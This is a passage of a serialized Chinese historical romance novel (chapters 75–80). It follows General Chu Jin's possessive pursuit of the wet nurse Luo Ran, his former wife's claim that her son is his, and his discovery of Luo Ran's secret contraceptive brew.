老夫人见楚烬抱着衍哥儿来了,脸上瞬间露出笑意,连忙吩咐身旁的婆子, “快,把小衍儿抱到我跟前来。” 衍哥儿穿着一身鲜红衣衫,虎头虎脑的模样十分讨喜。 老夫人越看越喜爱,伸手轻轻摸着他肉嘟嘟的小脸,笑着夸赞, “小衍儿真是越发可爱了,瞧这模样,真是招人疼。” 说着,她话里有话地暗示, “若是我楚家的亲骨肉,定然更可爱,也不知我这老婆子,有生之年能不能见到那一天。” 钟氏立刻心领神会,连忙搭腔附和, “母亲说的是……阿烬,你也该早点定下婚事,娶妻生子,也好让母亲早日抱上亲孙儿,了却一桩心愿。” 说着,她顺势侧身,把一旁的两位世家小姐拉到楚烬面前介绍, “阿烬,这位是礼部侍郎家的嫡小姐,这位是御史大夫家的嫡小姐,都是才貌双全的好姑娘。” 两位小姐望着眼前刚毅俊朗的楚烬,脸颊微微泛红,神色带着几分羞涩,纷纷屈膝行礼。 楚烬只是淡淡扫了一眼,不咸不淡地应了一声,语气里没有半分多余的情绪。 钟氏见状,又连忙打圆场, “阿烬,你最近在军营忙碌,好不容易来老夫人这里一趟,不如留下吃了午膳再走,也好陪两位小姐说说话,互相多了解了解。” 楚烬却并未应下,只是装似无意的转了头。 目光落在角落里的罗苒身上,装出一副刚发现她的模样,语气带着几分似笑非笑, “怪不得我在府中找不着你,原来跑到祖母这里躲懒来了,衍哥儿闹了一上午,吵着要找你。” 衍哥儿显然也看到了罗苒,立刻挣扎着想要从楚烬怀里下来,一个劲地朝她伸出小手,软糯地喊着, “娘,娘……” 楚烬浓眉一挑,继续对罗苒到, “怎么,还想继续在这里偷懒不成?” 罗苒一时间有些手足无措,不知该不该放笔起身。 正犹豫着,楚烬已经迈步朝她走来,伸手直接拉住她的手腕,将她从矮凳上拉了起来。 随后他转头看向老夫人,语气恭敬却带着几分强硬, “祖母,苒娘要给衍哥儿喂奶了,就不在此扰您清净了,先让她回去了。” 这话里的意思,再明显不过。 事到如今,在场的人谁还看不出来,楚烬今日特意抱着衍哥儿过来,根本不是单纯来看老夫人。 楚烬朝罗苒递了个眼色,让她先抱着衍哥儿离开。 罗苒不敢多言,连忙上前接过衍哥儿,抱着孩子退出了屋。 第一卷 第75章 同她生米煮成熟饭,这才勉强把人留住 见罗苒就这么轻易地离开,钟氏脸上的笑意僵了僵,随即又强装镇定地开口,语气带着几分讥讽, “阿烬,这么急着遣人走,怎么,还怕我们这些长辈欺负了你的人不成?” 顿了顿,她又有意无意地添了一句, “说起来,这罗氏也真是有手段,竟能让这么多男人心甘情愿护着她,真是不简单。” 老夫人的脸色瞬间沉了下来,目光锐利地扫过楚烬俊朗的脸庞,语气带着几分训斥, “阿烬,大丈夫志在四方,当以家国为重,又怎能这般轻易被女人迷了心智,本末倒置?” 直到罗苒的身影彻底消失在院门外,楚烬才回过头,听老夫人这般讲,脸上神情不以为意。 老夫人见他这般,当即又沉声道, “老二媳妇说得没错,这罗氏就是个狐媚货色,心机深得很,亏我之前还觉得她是个安分自觉的,如今倒好,又不知用了什么手段,把你勾得魂不守舍。” 钟氏立刻接话,语气里满是刻薄鄙夷, “是啊,那罗氏本就不安分,能给她一个妾室名分,已经是抬举她了。她那种今日跟这个明日跟那个与男人牵扯不清的做派,哪有半分女子该有的矜持?分明就是贪图权势富贵放荡不堪,依我看,直接发卖了才是正理……” 楚烬看着钟氏浓眉一挑,嘴角勾起一抹似笑非笑的弧度, “三婶怎对我的人格外有兴致?” 钟氏她被堵得语塞,片刻后才挤出一抹尴尬的笑,找补道, “三婶这不也是为了咱们楚家着想,更是为你着想啊?总不能让一个不清不楚的女人,坏了你的名声,耽误你的婚事。” “若是三婶真的为我着想,”楚烬打断她的话, “没事就去劝劝苒娘,让她试着贪图我的权势富贵,别总一门心思想着离开。” 这话一出,老夫人顿时皱起眉头,语气带着几分不解, “你这话是什么意思?难不成,那罗氏还真有什么不一样的心思?” 楚烬迎上老夫人的目光,神色未变, “之前苒娘知道我最初要娶她的真相后,便打定主意要离开,哪怕我许诺日后仍会正经娶她,她也半点未曾动摇,满心都是要走。” 老夫人闻言,不以为然地冷哼一声, “以退为进的手段,在这大宅院里我见得多了,你莫要被那女人的表象蒙蔽了,她最后不还是跟了你?” 楚烬神色未变,继续缓缓说道, “祖母怕是不知道,为了让她留在我身边,我费了多少心思。” 他的话让屋内众人皆是一怔。 老夫人、钟氏,还有那两位世家小姐,脸上都露出了疑惑诧异的神色,目光齐刷刷地落在楚烬身上,等着他继续说下去。 楚烬迎着众人的目光,直言不讳, “从苒娘生出要跟裴济走的念头开始,我便不乐意,后来听闻她真的要随裴济远走他乡,我更是千里迢迢派人找来裴济的前未婚妻汪静漪,又费尽心机撮合他们二人成婚,就是要断了她的退路,让她无处可去……” 那语气里带着不择手段的狠厉,也藏着一丝不易察觉的偏执。 他顿了顿,目光沉了沉, “可就算断了她的退路,我还是不放心,担心她依旧不死心,依旧想着要跟裴济走。没办法,我只能不惜用尽手段,同她生米煮成熟饭,这才勉强把人留住。” 这番话一出,屋内瞬间陷入死寂,众人表情各异。 老夫人和钟氏脸色从疑惑转为震惊。 那两位未出阁的世家小姐,先是满脸惊愕随后听闻楚烬那带着浓浓偏执的话语,眼底染上了一丝惧意。 楚烬本就生得高大健硕,周身自带战场上的凌厉气场。 此刻嘴角噙着一抹阴恻恻的笑意,眼底翻涌着不择手段的狠厉,模样实在骇人。 两位小姐吓得脸色发白,不敢再抬眼多看他一眼。 可楚烬像是完全不在意她们的诧异与恐惧。 对着老夫人微微行了一礼,没有再多说什么,转身便径直离开了屋子,步履沉稳,神色从容。 方才在老夫人房里说的那番话,楚烬毫不避讳。 不出半日,楚烬不择手段强留罗苒的传闻,便传遍了整个楚府。 先前那些看不起罗苒背后嚼舌根笑话她“水性杨花”“攀附权贵”的下人,得知真相后,纷纷改变了想法。 看向罗苒的眼神里,多了几分同情,再也没人敢随意议论怠慢她。 只不过,这一切罗苒丝毫不知。 第二日一早,她按照老夫人前一日的吩咐,收拾妥当,便起身前往老夫人的院落,准备抄经书思过。 临行前,她翻出了之前同裴济一起去求老夫人时,老夫人赏赐给她的金簪和玉如意。 想着今日一并归还。 可到了老夫人院外,她才发现,老夫人的房门紧闭着。 伺候老夫人的嬷嬷连忙上前,语气客气又恭敬, “罗娘子,实在对不住,老夫人今日身子不舒服,不便见客,昨日吩咐的每日来抄经书的事,老夫人说就此作罢,不用再抄了。” 罗苒心中微微诧异,随即拿出带来的那些赏赐,递给嬷嬷, “嬷嬷,这是先前老夫人赏赐我的东西,如今我不便再收下,麻烦您帮我交还给老夫人。” 嬷嬷接过东西,转身进了屋禀报。 没过多久,嬷嬷便走了出来,手里不仅拿着她归还的那些宝物,还多了几样精致的首饰,一并递给她。 “罗娘子,老夫人说了,这些东西本就是赏赐给你的,不必归还。老夫人还说,你伺候大爷辛苦,这些新增的首饰,也是给你的赏,你好生收下便是……” 罗苒看着托盘中的金玉首饰,对于老夫人突然转变态度完全摸不着头脑。 第一卷 第76章 把苒娘装进兜里,走哪带哪 漠北频频挑衅,朝廷下令出征在即,楚烬反倒越发黏起罗苒来。 浴堂之中,热气氤氲。 罗苒被折腾得浑身瘫软,楚烬这才将人从汤泉里捞出来。 随手扯了件外袍将她裹住,抱到一旁的软塌上歇息。 罗苒半湿的长发披散在肩头,长袍堪堪裹住身躯。 露出的肩头和小腿被热水泡得泛着淡淡的粉红。 她头晕脑热,整个人昏昏沉沉。 楚烬从一旁取来冰镇过切成小块的西瓜,喂到她唇边。 冰凉清甜的汁水入喉,她才算缓过一些神。 楚烬低笑一声,指腹擦过她嘴角的水渍, “就那么几次便受不住了?这些时日滋补汤药也没少喂你,怎的也没什么长进。” 罗苒本就泛红的脸颊又染上几分羞意…… 这男人怎好意思说这种话? 还不是他整日索取无度,她看他那架势,恨不得她整日待在床上不下来才好。 她抬起水蒙蒙的眸子,又恼又羞地瞪了他一眼。 楚烬被她那一眼瞪的,原本堪堪压下的热意又蠢蠢欲动。 相处这么久,罗苒早已对他的神情再熟悉不过。 瞧见他看自己时眼底那层渐浓的欲望,她慌忙往后缩了缩,声音发颤, “不行了爷,真不行了……再做,第二日就下不了床了。” 说来惭愧,在跟楚烬之前,罗苒真只当床笫之事就是那般草草了事。 却没想到竟有那么多羞人的花样。 楚烬就是个疯子。 看起来仪表堂堂、刚正不阿,房中竟是那般磨人,好似每次都要逼得她颤抖求饶才肯罢休。 以至于如今,她看着楚烬就腿软。 楚烬声音微沉,带着几分不依不饶的意味, “苒娘又想偷懒?” 那架势,便又要欺身而上。 罗苒慌忙伸手,从一旁抓了颗冰镇葡萄,直接塞进楚烬嘴里。 她早摸透了他的脾气…… 楚烬这个人,吃软不吃硬。 于是放软了声,柔柔道, “大爷歇歇。这段时日您练兵操劳,养精蓄锐才是正理。” 楚烬咽下那颗葡萄,眼底漫开一层笑意, “一颗葡萄就打发了?” 罗苒忙凑过去,主动亲了亲楚烬的嘴。 唇齿间还残留着西瓜的清甜,楚烬意犹未尽地多含了一瞬。 罗苒攀着他的脖颈,那双黝黑的桃花眼带着楚楚可怜的神情,软软的声音像是在撒娇, “大爷今日便饶了苒娘吧。” 楚烬盯着她看了片刻,到底没再做什么,只是将她捞过来抱到自己腿上,有一下没一下地揉着她柔软无骨的手。 沉默了一会儿,他忽然开口, “这次行军,差不多月余才能回来。” 罗苒靠在他肩头,没说话。 楚烬低头看她,声音里带着几分难得的黏糊, “真是舍不得苒娘……若是苒娘能跟画本子里写的那样,变小就好了,那样就能把苒娘装进兜里,走哪带哪了。” 罗苒轻轻摇头, “大爷莫要说笑,国事为重,自然不会居于儿女情长。” 楚烬低低笑了笑,低头在她额头上落下一吻, “之前祖母说的要让你做妾室的话,不要当真,我已经让管家继续准备大婚了,乖乖等我回来。” 罗苒垂下眼,目光落在二人交握的手上,心底一片清明。 这段时间,楚烬待她极好,温柔体贴,事事迁就,倒像是又回到了她还不知那些算计真相之前。 只是不管是那个时候,还是现在,楚烬表现出的这些关切爱护,都让她不敢深究。 那时,他是为了欺瞒赵灵熙,才刻意装出对她情有独钟的模样,不过是逢场作戏步步算计。 可如今呢? 他这般百般讨好,又是为了什么? 罗苒不是那些单纯好骗的少女,自然不会傻到再轻易相信楚烬的任何甜言蜜语。 他如今的温柔,是出于内疚也好,是为了安抚她也罢。 又或者,他只是单纯地对所有成为过他的女人,都这般柔情体贴。 她都绝不会再误以为,那是真心。 虽是心中这般想,罗苒面上却半点未露,依旧是那副温顺柔顺的模样,轻轻点了点头,语气听着真切又诚恳, “等您大胜归来。” 待楚烬去了军营,罗苒才敛去脸上的温顺。 独自回了房中支起小炉,小心翼翼地熬起药来。 那是她自己配的避孕汤药。 她心中清楚,有些东西,她不得不防。 只是她也不想被有心之人添油加醋地编排,为了不引人注意,她之前便找了管家。 谎称自己素来喜欢摆弄草药,想学着配些调理身子的方子,向他要了许多药材。 平日里悄悄配比熬煮,掩人耳目。 楚烬这些时日太过频繁,她心里总归是提着心,半点不敢松懈。 刚喝完药没多久,门帘忽然被掀开,楚烬竟提前回来了。 他一进门,眉头微微蹙起, “什么味儿?” 罗苒面上却不动声色,从容应答, “许是中午吃的药膳鸡,那汤里头放了些当归和黄芪,味道还没散干净呢。” 她说着,顺势起身,自然而然地迎了上去,刻意换了话题, “您七日后便要启程前往漠北,军营那边的诸事,可都安排妥当了?” 不等楚烬开口回答,她又连忙补充,语气里带着几分恰到好处的关切, “这次去漠北,那边素来苦寒,冬雪漫天,您一定要多带些御寒之物……” “奴婢已经让管家订制了厚棉衣,估摸着这会儿也该送来了,您同我一起去看看,是否合身。” 说着,便引着他往他的屋子走去。 进了屋,不多时,管家便让人送来了新订制的棉衣。 罗苒拿起棉衣,细心地给楚烬比量着。 随后又从一旁的矮橱里拿出一双靴子。 靴筒厚实,里面垫着厚厚的狐毛,鞋底纳得密密麻麻,针脚工整细密。 “这双靴子,是奴婢亲手给大爷做的,用了上好的狐绒,保暖得很,大爷试试,看是否合脚。” 罗苒垂着眼,语气柔和,指尖轻轻拂过靴面,模样温顺又乖巧。 楚烬依言坐下,穿上靴子,大小正合适,脚下传来阵阵暖意,顺着鞋底蔓延至全身。 他看着罗苒柔柔顺顺的模样,她细心地帮自己整理衣衫,指尖有意无意地触碰着他的衣襟,眼波流转间,满是温顺缱绻。 楚烬只觉得心头一软,浑身的戾气疲惫都消散殆尽,全然被她这般温柔哄得没了脾气。 第一卷 第77章 这才是真正的母凭子贵 罗苒将这一切看在眼里,趁着楚烬心情正好,装作随意般开口,语气带着几分恳切, “大爷,听闻灵盛寺的祈福很是灵验,再过几日您便要出征了,奴婢想带着衍哥儿和小玥去灵盛寺,为您祈福,求您此行平安,大胜归来……” “只是灵盛寺路远,还带着两个孩子,奴婢想着,多带些人手跟着,也好有个照应。” 楚烬此刻满心都是对她的偏爱,几乎想也不想,便一口应下, “都依你,要带多少人手便带多少,务必照顾好自己和孩子。” 罗苒面上依旧是那副温顺模样,屈膝行礼, “谢大爷。” 第二日一早,罗苒收拾妥当,一身雅致华贵的衣衫,发髻规整,眉目温婉。 她带着衍哥儿和小玥,身后跟着一众下人婆子,一行人浩浩荡荡,坐上了那辆皇家特赐给楚烬的御用马车。 马车用料华贵,纹饰精致,车架气派不凡。 罗苒刻意这般安排,半点不曾低调,一路行去,格外惹眼。 恰逢灵盛寺香火盛会,街上人流如织,往来香客百姓络绎不绝。 如此气派的架势,立刻引来沿路众人频频侧目,议论声此起彼伏。 有那稍微知情的百姓,凑在一起低声闲谈,语气里满是惊叹与艳羡, “你们可知这车里坐的是谁?” 身旁人纷纷摇头追问,那人便压低声音,语气带着几分神秘, “这是楚将军府里的罗娘子,原先只是个奶娘,靠着带将军的养子衍哥儿,日日相处,竟让将军动了心。” 这话一出,周遭顿时炸开了锅,有人满脸诧异,有人满眼羡慕, “竟是个奶娘出身?这可真是奇遇!” “可不是嘛,” 知情者又道, “听说楚将军如今对她宠爱得紧,府里上下谁也不敢怠慢。再过些时日,将军出征归来,便要力排众议,不嫌弃她出身低微,娶她做正妻呢!” “我的天,这才是真正的母凭子贵啊!” 有人忍不住感叹, “从一个不起眼的奶娘,摇身一变成将军正妻,这般福气,真是羡煞旁人,多少名门贵女都比不上呢!” 议论声或高或低,有艳羡,有惊叹,也有几分隐晦的嫉妒,尽数飘进马车之中。 罗苒心无旁骛地带着衍哥儿和小玥去祈福上香,将外界的议论尽数听在耳中。 神色淡然,眼底却藏着几分不动声色的算计。 临到灵隐寺香火最鼎盛的大雄宝殿,身旁的随从上前请示,想代为去买香火。 罗苒却摇头,语气温婉, “还是我亲自去买吧,诚心祈福,亲手挑选才显心意。” 说着,她便牵着小玥,让刘婆婆抱着衍哥儿在一同走向殿外的香火铺子。 铺子前,一个身着素衣的女子正低头整理香烛,显然也察觉到了周遭的动静,抬眼便撞见了风光无限的罗苒。 不同于其他香客单纯的羡慕,那女子看向罗苒的眼神里,藏着浓浓化不开的嫉妒,还有几分莫名的怨怼。 罗苒将这目光尽收眼底,却权当未曾察觉,从容走上前,掏出几枚铜板递过去,轻声道, “麻烦给我几炷高香。” 本是好声好气的话语,可那女子却像是被激怒一般,非但没有好好接铜板,反而随手朝她扔了一把香烛。 香烛落在地上,“啪嗒”几声,断了好几根。 罗苒眉头微蹙,语气淡了几分,却依旧保持着体面, “这位娘子,买卖讲究和气,你这般行事未免太过无礼。” 那女子却梗着脖子,态度愈发硬气,话语中里满是刻薄, “爱要不要!一个卑贱的奶娘,仗着几分宠信,还真当自己是楚府的主子了?也不撒泡尿照照自己的身份!” 一旁抱着衍哥儿的刘婆婆见她这般无礼,忍不住上前一步,打量了片刻,忽然惊呼出声,语气里带着几分意外,也藏着几分嘲讽, “我当这是谁呢,原来是我们楚家的前夫人啊,怎么,竟沦落到在寺庙摆摊卖香火的地步了?” 她顿了顿,故意加重语气,字字戳心, “说起来也真是可惜,若您当年没在楚家遭难时执意和离,转头就嫁去别家,如今这般风光无限的,可不就是您吗?哪轮得到旁人沾光。” 许佩兰本就因当年的选择悔青了肠子。 如今被刘婆婆当众揭了伤疤,又看着罗苒的风光,对比自己的落魄,心头的悔恨与嫉妒瞬间翻涌上来,脸色一阵青一阵白,难堪至极。 而一向温顺柔和的罗苒,此刻却一反常态,她轻轻嗤笑一声,语气带着几分刻意的客气, “原来是许娘子,失敬失敬……说起来,我今日能有这般体面,还真要好好谢过您,若不是您当年执意和离,空出了楚家主母的位置,又无子无女牵绊,我这一个下人出身的奶娘,也没机会母凭子贵,得大爷这般厚爱与垂怜。” “你!” 许佩兰被她的话噎得说不出话,眼底的戾气几乎要喷薄而出,咬牙骂道, “你一个下贱的奴仆,不过是仗着一个养子,有什么好得意的!” 一旁的刘婆婆立刻呵斥, “放肆!罗娘子如今是将军亲口定下的未婚妻,你竟敢这般羞辱她,便是羞辱楚府,羞辱我们将军!” 许佩兰被刘婆婆的气势唬住,身子微微一僵。 可看着罗苒那副胸小人得志的模样,眼底的嫉妒却越发浓郁,不甘地说道, “楚烬性格冷淡,对你定然也是一时兴起!待到他新鲜感过了,厌弃你了,照样会把你弃如草芥!” 罗苒却半点不恼,反而又露出一抹温婉的笑,转头温柔地摸了摸衍哥儿的头,语气柔和, “怕是要让许娘子失望了,大爷待衍哥儿极好,视他如亲生儿子一般,疼惜得紧。只要衍哥儿在一天,我在楚府的地位,就稳如泰山。” 她顿了顿,意有所指地看向许佩兰, “大爷如今这般年纪,又整日忙于出征,楚老夫人最看重子嗣,对一个养子都这般上心……” “若是他日,我能为大爷生下亲生的孩子,那便是楚家的嫡子嫡女,我便是孩子的生母,那时的依靠和地位,怕是府中无人能及,更不会像许娘子这般,落得如此下场。” 第一卷 第78章 前妻上门 说罢,罗苒从袖中掏出一锭沉甸甸的银锭,随意扔在许佩兰的摊位上,发出“当啷”一声脆响。 她又指了指摊位上的香包,对身旁的下人吩咐道, “既然今日遇见,也是一场缘分。许娘子摆摊辛苦,我这‘乘凉的后人’,理应照拂照拂她的生意……这些香包和香烛,都拿过去,免费送给前来上香祈福的百姓,也算替大爷积德行善。” 下人立刻上前,有条不紊地收拾摊位上的香烛香包,分发给周围的百姓。 百姓们接过香烛,纷纷对着罗苒道谢,嘴里不停夸赞她人美心善温柔贤淑,定然能和楚将军恩爱一生子嗣绵延。 那些夸赞的话语,一字一句都像针一样扎在许佩兰心上。 罗苒看着许佩兰几乎要喷火的眼神,微微一笑便满不在意地转身,朝着大雄宝殿走去。 留下许佩兰一个人站在原地,浑身戾气,满心悔恨。 谁也没想到,仅仅过了两日,那日在灵隐寺摆摊的许佩兰,竟找上了楚府。 她手里领着一个六七岁左右的男孩,那孩子眉眼清秀,却带着几分怯意。 一到楚府门口,许佩兰便哭哭啼啼,口口声声说这孩子是楚烬的亲生骨肉。 消息传到院内,楚烬正在书房议事。 后日便要出发前往漠北,正是军务繁忙心绪紧绷之时,如今却突然出了这种事,扰得人心不宁。 他得知后脸色瞬间沉了下来,周身的气压低得吓人,当即中断议事,起身便匆匆往府门口赶来。 此时的许佩兰正坐在府门口哭泣,引来了不少路人围观。 罗苒听到动静赶来的时候,楚烬正毫不留情地命人将刘翠兰哄走。 刘翠兰哭声凄厉,“大爷,求您认下崇儿吧!他真的是您的骨肉,您不能这么狠心啊!” 楚烬面色铁青,额角的青筋微微凸起。 继续对着身旁的下人冷喝,“快把这女人拖走,以后再不准她们踏足楚府半步!” “不要!大爷,这真的是您的孩子啊!” 许佩兰见状,继续大哭大喊起来, “他今年七岁,您算算时间,正好是当年我们成婚之时怀上的,您难不成要让您的亲生骨肉流落在外,一辈子抬不起头吗?” 下人拖拽许佩兰之际,身旁的男孩被吓得浑身发抖,忍不住哇哇大哭起来,哭声响亮,引得围观的百姓议论声不绝于耳。 “住手!” 老夫人威严的声音传来,只见她被丫鬟搀扶着,拄着拐杖,急匆匆从院内赶来。 听到动静的二太太崔氏和三太太钟氏也跟着一同前来。 许佩兰见老夫人来了,像是抓住了救命稻草,连忙挣脱下人的手,“噗通”一声跪在老夫人面前,泪水涟涟地哀求, “老夫人,求您为我做主啊!求您救救您的亲重孙!” 说着,她慌忙拉过还在哭泣的孩子,按着他的头, “崇儿,快,快来跪拜曾祖母!” 那孩子倒也听话,含着泪,规规矩矩地跪了下来,软糯又带着哭腔喊道, “崇儿跪拜曾祖母。” 许佩兰看着老夫人,泪水顺着脸颊滑落,字字句句都带着委屈恳切, “老夫人明鉴,崇儿确实是大爷的骨肉,是楚家大房的嫡子啊!” “当年大爷蒙冤入狱,楚家陷入困境,我那时已经知晓自己怀了身孕,我日日惶恐,担心这场祸事殃及腹中的孩子,担心有心之人会对我的孩子下手,才会匆忙与大爷和离。” 她顿了顿,哭得越发伤心, “我当时想着,就算楚家真的被殃及,就算我被人诟病,我也要护住楚家这唯一的血脉……” “为了掩人耳目,我才匆忙找了个人假意成亲,目的就是为了安安稳稳把孩子生下来抚养长大,不让任何人发现他的身份。当年从楚府卷走的那些钱财,也从来不是我贪图享乐,全都是用来抚养崇儿的啊!” 一旁的钟氏静静看着许佩兰与那孩子,目光若有若无扫过一旁沉默垂眸的罗苒。 刻意压下眼底藏不住的幸灾乐祸,语气假意唏嘘,带着几分故作悲悯的感慨, “真是可怜见的,难怪当年你走得那般仓促决绝,府里上下人人诧异不解,原来背后竟藏着这般苦衷,一番用心良苦,实在叫人动容……” 老夫人看着眼前这个叫崇儿的孩子,只见他眉眼清秀,仔细端详下来似有几分楚家人的骨相,心头瞬间软了下来。 她这辈子最大的心愿,就是楚家开枝散叶,如今有一个这么大的“重孙”摆在面前,自然是宁可信其有,不可信其无。 府门口人多眼杂,老夫人皱了皱眉,当即吩咐身旁的婆子, “把她们母子带回正厅,别在这里让人看了笑话。” 一行人来到正厅,罗苒也默默跟在身后,将自己存在感降到最低。 老夫人坐定后,立刻让人去取来崇儿的生辰八字,又请来了府中最懂行的嬷嬷,细细掐算。 不多时,嬷嬷躬身回禀,语气恭敬, “老夫人,掐算下来,这孩子的出生年月,恰好是许娘子当年与将军还在婚的时候。” 楚烬站在一旁,脸色难看到了极点,依旧咬牙坚持, “不可能!这绝对不是我的孩子!当年我与她相处,处处谨慎,她根本不可能怀孕!” 许佩兰则依旧是那副楚楚可怜的模样,抬眼看向楚烬,眼底满是委屈与哀求, “大爷,我知道您依旧生我的气,气我当年不告而别执意和离,可我当时真的是无奈之举啊!我也是为了保护咱们的孩子,为了保住楚家的血脉,我才不得不那样做,我心里的苦,谁又能懂?” 楚烬看着她那副楚楚可怜的模样,冷笑一声,语气里满是嘲讽质疑, “即便你说的都是真的,当年为了保护孩子才和离,那之后为何不相认?偏偏在这个时候带着孩子找上门来?你安的什么心!” 第一卷 第79章 苒娘,给我生个孩子,可好? “后来那家人家道中落,我才得以带着孩子逃脱……随后又觉得无颜再见大爷便带着孩子勉强糊口辛苦度日……” “直到前几日在灵隐寺遇见风光无限的罗娘子,又听闻您要娶妻,我才慌了神……我不怕自己受委屈,可我不能让崇儿一辈子做个没有父亲的野孩子……” 她说着,又拉过崇儿,让他再次给楚烬跪下, “崇儿,快求你父亲认下你,求你父亲给你一个名分,求你父亲别再让我们母子漂泊了!” 崇儿似懂非懂,又被许佩兰的哭声感染,再次哭了起来,对着楚烬连连磕头, “父亲,求您认下崇儿,崇儿想和父亲在一起,想和曾祖母在一起……” 钟氏在一旁看得明明白白,趁机顺势开口劝解,语气刻意温和,句句都在往情理上靠拢, “阿烬,你转眼便要领兵出征,临行前能寻回亲生骨肉,本就是难得的吉兆。不如即可认下孩子,来日出征,有妻儿阖家相送,前路顺遂安稳。” 楚烬面色冷硬,态度坚决,分毫不肯松口。 钟氏随即道,“我知道当年的事你定然埋怨许氏,但她好歹曾经也是你八抬大轿娶回来的,如今她又带着一个年纪分毫不差的孩子,这种事不怕一万就怕万一,若是真的是楚家的骨肉,咱们万万不能让他流落在外……” 老夫人看着跪在地上的母子二人,对脸色阴沉的楚烬说道, “烬儿,你出征在即,不要为此分神,事到如今,生辰八字也对得上,不如就先把她们母子留下,慢慢核实……” 楚烬眉头紧锁,“要我说多少遍,那孩子绝不可能是我的……” “行了。” 老夫人打断楚烬的话,不顾楚烬反对,当即拍板留下许佩兰和孩子,暂且安置在大房的静兰院中。 许佩兰闻言,脸上瞬间露出一抹不易察觉的喜色,连忙抱着崇儿,对着老夫人重重磕了个头, “谢老夫人!谢老夫人开恩!老夫人的大恩大德,我和崇儿没齿难忘,日后定当好好侍奉老夫人,绝不敢有半点差池!” 楚烬站在一旁,脸色难看到了极点,周身的气压低得吓人,语气里满是不甘与烦躁, “祖母!您怎能如此武断?这孩子的身份还未核实,万一她是故意讹诈,您这般留下她们母子,岂不是让楚府沦为笑柄?再说,我后日便要出征,府中若是留下这么个隐患,苒娘和孩子们也不得安宁!” 许佩兰见状,立刻装出一副柔弱可怜的模样,跪行几步拉住一旁未出声的罗苒衣袖,泪水涟涟地哀求, “罗娘子,我不求别的,只求能留在府中,安安稳稳带着孩子,哪怕大爷之后贬妻为妾我也心甘情愿,求你成全我吧……” 罗苒还未开口,楚烬便一把将她拉到自己身后,眼神冰冷地看向许佩兰, “你别在这里装可怜,你最好赶紧带着他离开楚府,否则,待我出征归来查明真相定对你严加惩治!” 随后,楚烬便不顾在场的老夫人,拉着罗苒快步回了大房院落。 只有二人的房间之中,楚烬反手关上房门,神情中带着几分急切, “苒娘,你别听她胡言乱语,那孩子绝对不是我的。” “祖母老糊涂了,一门心思盼曾孙子,我当着那么多人的面,不好强硬顶撞她,等我出征归来,定能找出那孩子非我亲生的铁证,到时候,我定然对她严加惩治。” 罗苒垂着眼,长长的睫毛轻轻颤动,遮住了眼底的情绪,语气平淡,却带着几分恰到好处的试探, “大爷,怎就那么确定?世事无常,人心难测,就算服用了避子药,也有失败的几率,万一……” 她顿了顿,故意放缓语气,一副为楚烬府着想的模样,继续说道, “若那孩子真的是您的骨肉,断然也没有让许娘子不明不白待在府上的道理。她到底曾经是您明媒正娶的夫人,若是能冰释前嫌,好好安置她们母子,也能全了楚府的体面,也不让老夫人再为子嗣之事忧心……” “我说了不是就不是!” 楚烬不等她把话说完,便打断她的话,咬着牙, “没有那种几率!” 楚烬盯着罗苒那张依旧淡然无波的小脸, “罗苒,你别以为我不知你心里的真实想法……” 他喉结滚动了一下,有些糙粝的质问道, “你是不是巴不得我重娶了许佩兰,这样你就能顺理成章地离开楚府,再也不跟我有牵扯?” 罗苒垂着眼,指尖轻轻摩挲着袖口,一言不发。 这沉默,在楚烬看来,便是默认。 他不是没察觉过她的心思,可当这心思被自己直白戳破摆到明面上时,心口还是像被什么堵着,闷得发慌。 他声音沉了下去,语气软了几分,带着一丝不甘, “我不明白,就仅仅因为我当年骗了你,你就要这般对我?可你曾经对我的感情,总不是假的吧?如今,怎能如此狠心?” 罗苒终于抬眼,眼神清明得没有半分波澜,直直看向他, “奴婢也不明白,大爷明明不喜欢我,为何还要强求我喜欢你,这不觉得太荒唐了吗?” 她微微顿了顿,继续说道,语气里带着释然疏离, “我如今这样,不是更好吗?免得日后您厌了我,我却因为动了心喜欢上您,反倒对你纠缠不休,惹得彼此厌烦。” 楚烬的脸色沉得越发难看,咬着牙,强硬又偏执, “你既然已是我的人,就别想有离开的念头,绝对不可能!” 晚间,床榻之上,楚烬没了白日的强硬,却多了几分偏执的缱绻。 他死死摁着罗苒,力道不算轻,却又刻意克制着不弄疼她。 俯身咬着她的肩头,留下深深浅浅的齿痕,沙哑的声音温柔又蛊惑, “苒娘,给我生个孩子,可好?祖母一直盼着曾孙,我们给她生一个便是……” 罗苒被他折腾得浑身酸软,意识恍惚,连喘息都带着颤音。 应对已是吃力,哪里还有精力回答他的话,只能任由他肆意摆布。 第一卷 第80章 第一次与大爷同房之后 第二日罗苒依旧熟练地熬了汤药。 她以为自己隐藏得极好,行事缜密,却没想到,下午便漏了马脚。 罗苒垂着头,看着被楚烬狠狠扔在地上的药包。 里面的药材散落一地,那是她提前配好藏在暗处的,终究还是被发现了。 楚烬就站在她面前,周身气压低得迫人。 只听他磨着牙冷声开口道,“你告诉我,这是什么?” 事已至此,遮掩无用。 罗苒抬眼,神色坦然,没有半分慌乱, “是避孕汤药。” “什么时候开始喝的?” 楚烬的声音更冷,似乎连呼吸都带着戾气。 罗苒语气平淡,没有丝毫闪躲, “第一次与大爷同房之后,便开始喝了。” 楚烬忽然低低地笑了起来,那笑声里没有半分暖意,满是嘲讽和怒意, “好,好得很!罗苒,你可真有本事!” 话音未落,他猛地上前一步,抬起手,捏住罗苒低垂的脸颊,强行逼她抬头与自己阴鸷的眼眸对视。 那捏着他脸颊的力道大得几乎要捏碎她的下颌。 罗苒清澈的眼眸望着楚烬神情阴森的脸,语气依旧淡然, “大爷,为何这般恼怒?” “你竟还问我为什么?” 楚烬咬着后牙槽,声音里满是压抑的怒火, “你就这么不愿意怀我的孩子?就这么不想跟我有半点牵扯?” “若父母之间没有感情,他们的孩子,也不会幸福……大爷对我,许是只有肉体上的满足,既然只是肉体上的纠缠,那便足够了,牵扯到孩子,未免太多了一些……” 罗苒早已不再相信楚烬的任何话语。 哪怕他如今的模样,好像是真的对她动了心,可他亲口说过“不喜欢”,亲口否认过在意。 这些,她都记在心里,从未忘记。 所以,她不敢再抱有那种愚蠢的心思,不敢再奢望他的真心,更不敢拿自己未来孩子的幸福去赌。 在她看来,他们之间,不考虑孩子,才是最正常的,她不想再多一个被他拿捏的把柄。 楚烬看着她这般干脆果断的样子,心头莫名传来一阵抽痛,一时间竟有些手足无措。 他明明知道,罗苒是喜欢孩子的,从前看着衍哥儿和小玥,眼底的温柔藏都藏不住。 可她却这般抵触,这般坚决地杜绝了他们有孩子的可能。 她就这么不想跟自己有半点牵扯吗? 他本以为,这段时日的相处,她已经安分下来,已经放下了离开的念头。 